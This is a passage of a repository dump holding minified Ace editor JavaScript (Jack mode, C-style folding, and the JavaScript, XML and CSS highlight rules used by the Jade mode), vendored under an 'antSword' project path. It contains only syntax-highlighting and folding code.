r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/jack\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/jack_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./jack_highlight_rules\").JackHighlightRules,o=e(\"./matching_brace_outdent\").MatchingBraceOutdent,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=function(){this.HighlightRules=s,this.$outdent=new o,this.$behaviour=new u,this.foldingRules=new a};r.inherits(f,i),function(){this.lineCommentStart=\"--\",this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t);if(e==\"start\"){var i=t.match(/^.*[\\{\\(\\[]\\s*$/);i&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/jack\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-jade.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/xml_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(e){var t=\"[_:a-zA-Z\\u00c0-\\uffff][-_:.a-zA-Z0-9\\u00c0-\\uffff]*\";this.$rules={start:[{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\",next:\"cdata\"},{token:[\"punctuation.xml-decl.xml\",\"keyword.xml-decl.xml\"],regex:\"(<\\\\?)(xml)(?=[\\\\s])\",next:\"xml_decl\",caseInsensitive:!0},{token:[\"punctuation.instruction.xml\",\"keyword.instruction.xml\"],regex:\"(<\\\\?)(\"+t+\")\",next:\"processing_instruction\"},{token:\"comment.xml\",regex:\"<\\\\!--\",next:\"comment\"},{token:[\"xml-pe.doctype.xml\",\"xml-pe.doctype.xml\"],regex:\"(<\\\\!)(DOCTYPE)(?=[\\\\s])\",next:\"doctype\",caseInsensitive:!0},{include:\"tag\"},{token:\"text.end-tag-open.xml\",regex:\"</\"},{token:\"text.tag-open.xml\",regex:\"<\"},{include:\"reference\"},{defaultToken:\"text.xml\"}],xml_decl:[{token:\"entity.other.attribute-name.decl-attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.decl-attribute-equals.xml\",regex:\"=\"},{include:\"whitespace\"},{include:\"string\"},{token:\"punctuation.xml-decl.xml\",regex:\"\\\\?>\",next:\"start\"}],processing_instruction:[{token:\"punctuation.instruction.xml\",regex:\"\\\\?>\",next:\"start\"},{defaultToken:\"instruction.xml\"}],doctype:[{include:\"whitespace\"},{include:\"string\"},{token:\"xml-pe.doctype.xml\",regex:\">\",next:\"start\"},{token:\"xml-pe.xml\",regex:\"[-_a-zA-Z0-9:]+\"},{token:\"punctuation.int-subset\",regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|int